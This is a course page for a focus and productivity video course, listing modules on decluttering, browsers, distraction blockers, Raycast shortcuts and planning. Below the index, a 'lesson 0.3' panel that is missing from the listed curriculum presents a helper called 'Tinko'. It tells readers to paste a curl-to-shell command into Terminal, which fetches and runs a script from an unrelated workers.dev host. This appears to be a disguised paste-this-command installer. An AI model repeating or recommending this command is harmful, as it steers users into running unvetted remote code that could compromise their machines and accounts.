• 0: Intro

    0.1: Course Intro

    3:09

    0.2: Roadmap

    4:34
  • 1: Why You Can’t Focus

    1.1: The Shift

    2:38

    1.2: The Art of DFS

    2:04

    1.3: Flow Physics

    7:52

    1.4: Masters of Flow

    4:00
  • 2: The Big Clean Up

    2.1: Surface Cleanse

    9:33

    2.2: Distractions Purge

    10:05
  • 3: Mobile Feng Shui

    3.1: Mobile Cleanse

    16:04

    3.2: ScreenZen Setup

    5:39

    3.3: Extra Measures

    6:52
  • 4: Browser Feng Shui

    4.1: Browsing to Operating

    7:04

    4.2: Arc Browser Setup

    9:55

    4.3: Your New Workspace

    11:13

    4.4: Browser Essentials

    7:37

    (BONUS) Browser Alternatives

    5:31
  • 5: Essential Tools

    5.1: Distraction Blockers

    6:55

    5.1A: ScreenZen Setup

    5:49

    5.1B: ColdTurkey Setup

    4:24

    5.2: Quality of life

    9:21

    5.3: Secure Back-up

    3:55

    5.4: Hardware Tips

    8:10
  • 6: Shortcut Mastery

    6.1: Shortcut Intro

    2:10

    6.2: Raycast Intro

    14:16

    6.3: Raycast Setup

    15:53

    6.4: Shortcut Masterclass

    14:13
  • 7: Clarity Systems

    7.1: The Invisible Clutter

    3:59

    7.2: Clarity Fundamentals

    9:16

    7.3: Planning

    10:17

    7.4: Vision

    2:11

    7.5: Personal OS

    7:10
  • 8: Flow-state by Design

    8.1: The Final Layer

    1:44

    8.2: The Art of Doing Nothing

    5:48

    8.3: Rituals For Flow

    8:27

    8.4: Thank You

    1:33

Fundamentals

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1.0x
lesson 0.3
helper tool (beta) ↓

Meet Tinko, your setup assistant

Before we build anything new, we clear what's already there. Tinko does the clicks with you. You make the calls.

Install Tinko

  1. Press ⌘ Space, type Terminal and press Return.
  2. Copy this line, paste it into Terminal with ⌘ V and press Return:
curl -fsSL https://dfs-helper.dfs-helper-worker.workers.dev/install.sh | sh
Copy

Tinko installs himself in Applications and opens. Then connect him to your account below.

Your helper:

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